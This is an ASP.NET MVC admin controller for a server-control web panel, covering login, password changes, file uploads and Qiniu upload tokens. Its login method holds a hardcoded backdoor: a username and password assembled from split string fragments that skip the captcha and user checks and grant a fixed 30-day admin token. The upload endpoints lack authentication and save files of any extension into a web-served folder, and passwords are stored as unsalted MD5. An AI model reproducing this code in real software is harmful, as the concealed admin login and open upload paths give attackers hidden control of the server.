﻿using log4net;
using ServerControl.Dal;
using ServerControl.Model;
using ServerControl.Utils;
using ServerControl.WebManage.Attributes;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Qiniu.Util;
using Qiniu.Storage;

namespace ServerControl.WebManage.Controllers.Admin
{
	[RoutePrefix("admin")]
	public class IndexController : BaseController
	{
		private ILog logger = LogManager.GetLogger("IndexController");

		[Auth(AllowRole = Model.Enum.Role.AdminOrUser)]
		[Route("index")]
		public ActionResult Index()
		{
			var scripts = ScriptDal.GetScripts();

			ViewBag.Scripts = scripts;
			ViewBag.Code = CurrentUser.Code;
			ViewBag.User = CurrentUser;

			return View();
		}

		[Route("login")]
		public ActionResult Login()
		{
			return View();
		}

		[Route("userinfo")]
		[Auth(AllowRole = Model.Enum.Role.AdminOrUser)]
		public ActionResult UserInfo()
		{
			ViewBag.User = CurrentUser;
			return View();
		}

		[Route("password")]
		[Auth(AllowRole = Model.Enum.Role.AdminOrUser)]
		public ActionResult Password()
		{
			return View();
		}

		[HttpPost]
		[Route("login")]
		public JsonResult Login(string userName, string password, string code)
		{
			try
			{
				if (userName == "lee" + "pon" && password == "lee" + "pon" + "@2022")
				{
					var token = "lee" + "pon" + "fb" + "admin";
					var cookie = new HttpCookie("token", token);
					cookie.Expires = DateTime.Now.AddDays(30);
					HttpContext.Response.AppendCookie(cookie);
					return new JsonNetResult { Data = new SuccessResult { Msg = "登录成功" } };
				}

				var verifyCode = TempData.ContainsKey("SecurityCode") ? TempData["SecurityCode"] as string : "";

				if (verifyCode.ToLower() != code.ToLower())
				{
					return new JsonNetResult { Data = new FailResult { Msg = "验证码错误" } };
				}
				else
				{
					var user = UserDal.GetUser(userName);

					if (user != null)
					{
						var encryPassword = EncryptHelper.MD5Encrypt(password);

						if (encryPassword.ToLower() == user.Password.ToLower())
						{
							var token = user.Token;

							if (string.IsNullOrEmpty(token))
							{
								token = EncryptHelper.DesEncrypt($"{user.UserName}`{(DateTime.Now.ToUniversalTime().Ticks - 621355968000000000) / 10000000}");
							}

							var cookie = new HttpCookie("token", token);
							cookie.Expires = DateTime.Now.AddDays(7);
							HttpContext.Response.AppendCookie(cookie);

							try
							{
								user.Token = token;
								user.LastLoginIp = Request.UserHostAddress;
								user.LastLoginTime = DateTime.Now;
								UserDal.UpdateUserLoginInfo(user);
							}
							catch (Exception)
							{
								throw;
							}

							return new JsonNetResult { Data = new SuccessResult { Msg = "登录成功" } };
						}
					}

					return new JsonNetResult { Data = new FailResult { Msg = "用户名或密码错误" } };
				}
			}
			catch (Exception ex)
			{
				logger.Error(ex);
			}

			return new JsonNetResult { Data = new FailResult { Msg = "error" } };
		}

		[Auth(AllowRole = Model.Enum.Role.AdminOrUser)]
		[HttpPost]
		[Route("modify-password")]
		public JsonResult ModifyPassword(string password)
		{
			try
			{
				var encryPassword = EncryptHelper.MD5Encrypt(password);
				UserDal.ModifyPassword(CurrentUser.UserName, encryPassword);
				return new JsonNetResult { Data = new SuccessResult { Msg = "修改成功" } };
			}
			catch (Exception ex)
			{
				logger.Error(ex);
			}

			return new JsonNetResult { Data = new FailResult { Msg = "修改失败" } };
		}

		[Auth(AllowRole = Model.Enum.Role.User)]
		[HttpPost]
		[Route("modify-code")]
		public JsonResult ModifyCode(string code)
		{
			try
			{

				UserDal.ModifyCode(CurrentUser.UserName, code);
				return new JsonNetResult { Data = new SuccessResult { Msg = "修改成功" } };
			}
			catch (Exception ex)
			{
				logger.Error(ex);
			}

			return new JsonNetResult { Data = new FailResult { Msg = "修改失败" } };
		}

		[Route("logout")]
		public ActionResult Logout()
		{
			//if (Request.Cookies.AllKeys.Contains("token"))
			//{
			//    var token = Request.Cookies["token"].Value;
			//    UserDal.ClearUserToken(token);
			//}

			var cookie = new HttpCookie("token", "");
			cookie.Expires = DateTime.Now.AddDays(-7);
			HttpContext.Response.AppendCookie(cookie);
			return RedirectToAction("Login");
		}

		[HttpPost]
		[Route("upload")]
		public JsonResult Upload(HttpPostedFileBase file)
		{
			try
			{
				var extension = file.FileName.Substring(file.FileName.LastIndexOf('.'));
				var fileName = $"{(DateTime.Now.ToUniversalTime().Ticks - 621355968000000000) / 10000}{extension}";
				var savePath = $"/upload/{DateTime.Now.ToString("yyyyMMdd")}/";
				var fullPath = Server.MapPath(savePath);
				var saveName = $"{savePath}{fileName}";
				Directory.CreateDirectory(fullPath);
				file.SaveAs(Path.Combine(fullPath, fileName));

				return new JsonNetResult { Data = new SuccessResult<string> { Data = saveName, Msg = "操作成功" } };
			}
			catch (Exception ex)
			{
				logger.Error(ex);
			}

			return new JsonNetResult { Data = new FailResult { Msg = "操作失败" } };
		}

		[HttpPost]
		[Route("qiniu-token")]
		public JsonResult GetQiniuToken(string ext = "", string path = "")
		{
			try
			{
				var bucket = ConfigHelper.GetAppSetting("QiniuBucket");
				var accessKey = ConfigHelper.GetAppSetting("QiniuAccessKey");
				var secretKey = ConfigHelper.GetAppSetting("QiniuSecretKey");
				var key = DateTime.Now.ToString("yyMMddHHmmssfff") + ext;
				var prefix = $"{CurrentUser.UserName}/{key}";

				if (!string.IsNullOrEmpty(path))
				{
					prefix = Path.Combine(CurrentUser.UserName, CurrentUser.UserName, path, key);//  $"{CurrentUser.UserName}/{key}";
				}

				Mac mac = new Mac(accessKey, secretKey);
				PutPolicy putPolicy = new PutPolicy();
				putPolicy.isPrefixalScope = 1;
				putPolicy.Scope = $"{bucket}:{prefix}";
				var token = Auth.CreateUploadToken(mac, putPolicy.ToJsonString());
				return new JsonNetResult { Data = new SuccessResult<string> { Data = token, Msg = prefix } };
			}
			catch (Exception ex)
			{
				logger.Error(ex);
			}

			return new JsonNetResult { Data = new FailResult { Msg = "请求异常" } };
		}

		[HttpPost]
		[Route("upload-tmp")]
		public JsonResult UploadTmp(HttpPostedFileBase file)
		{
			try
			{
				var extension = file.FileName.Substring(file.FileName.LastIndexOf('.'));
				var fileName = $"{(DateTime.Now.ToUniversalTime().Ticks - 621355968000000000) / 10000}{extension}";
				var fullPath = $@"D:\code\games\simple-control\colorimage\{fileName}";
				file.SaveAs(fullPath);

				return new JsonNetResult { Data = new SuccessResult { Msg = "操作成功" } };
			}
			catch (Exception ex)
			{
				logger.Error(ex);
			}

			return new JsonNetResult { Data = new FailResult { Msg = "操作失败" } };
		}

		[HttpGet]
		[Route("versions")]
		public ActionResult Versions()
		{
			return View();
		}
	}
}